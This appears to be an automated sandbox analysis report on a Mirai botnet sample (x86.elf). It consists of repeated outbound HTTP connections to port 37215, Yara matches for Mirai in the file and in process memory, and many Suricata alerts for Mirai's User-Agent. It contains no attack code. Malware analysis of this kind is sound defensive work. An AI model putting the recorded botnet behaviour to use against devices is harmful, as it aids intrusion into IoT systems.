Source: unknown	Network traffic detected: HTTP traffic on port 45880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: x86.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86.elf PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 6222, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
